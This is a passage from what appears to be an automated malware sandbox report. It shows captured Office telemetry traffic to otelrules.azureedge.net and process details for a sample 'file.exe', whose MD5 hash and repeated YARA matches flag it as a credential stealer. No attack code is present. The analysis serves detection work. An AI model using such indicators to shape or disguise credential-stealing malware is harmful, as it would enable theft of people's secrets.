2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9bd4509d-401e-005b-16fa-3a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200559Z-r1d97b99577hc74hhC1TEBvbns000000096g00000000aurn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:59 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200559Z-r1d97b995774zjnrhC1TEBv1ww00000009b0000000005qz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:59 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200559Z-r1d97b99577kk29chC1TEBemmg00000009d0000000008u5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:59 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200559Z-178bfbc474bmqmgjhC1NYCy16c00000000e0000000005fuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:00 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 9dcf90b9-e01e-000c-7364-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200600Z-178bfbc474btrnf9hC1NYCb80g00000000gg00000000kxcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:01 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:01 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:01 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200601Z-1777c6cb7549j9hhhC1TEBzmcc0000000a10000000007zhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:01 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:01 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:01 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 1f0666f4-801e-007b-6865-3be7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200601Z-185f5d8b95cgrrn8hC1NYCgwh40000000ah000000000vqn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:01 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:01 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e332bc5f-001e-000b-6e5c-3b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200601Z-185f5d8b95cjbkr4hC1NYCeu240000000ag000000000y02c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:01 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:01 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:02 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200602Z-178bfbc474bnwsh4hC1NYC2ubs00000000mg0000000042p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:02 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:03 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200603Z-185f5d8b95cjbkr4hC1NYCeu240000000afg0000000104us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:03 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:03 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:03 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:03 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 39864200-f01e-0071-0968-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200603Z-178bfbc474btvfdfhC1NYCa2en00000000e0000000005ecb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:03 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	15:03:59
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1d0000
File size:	1'910'784 bytes
MD5 hash:	1F9E0235A6C12BD12D8220185FAD9D04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1763547491.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1789605259.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1763473029.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1814476131.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1813653561.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 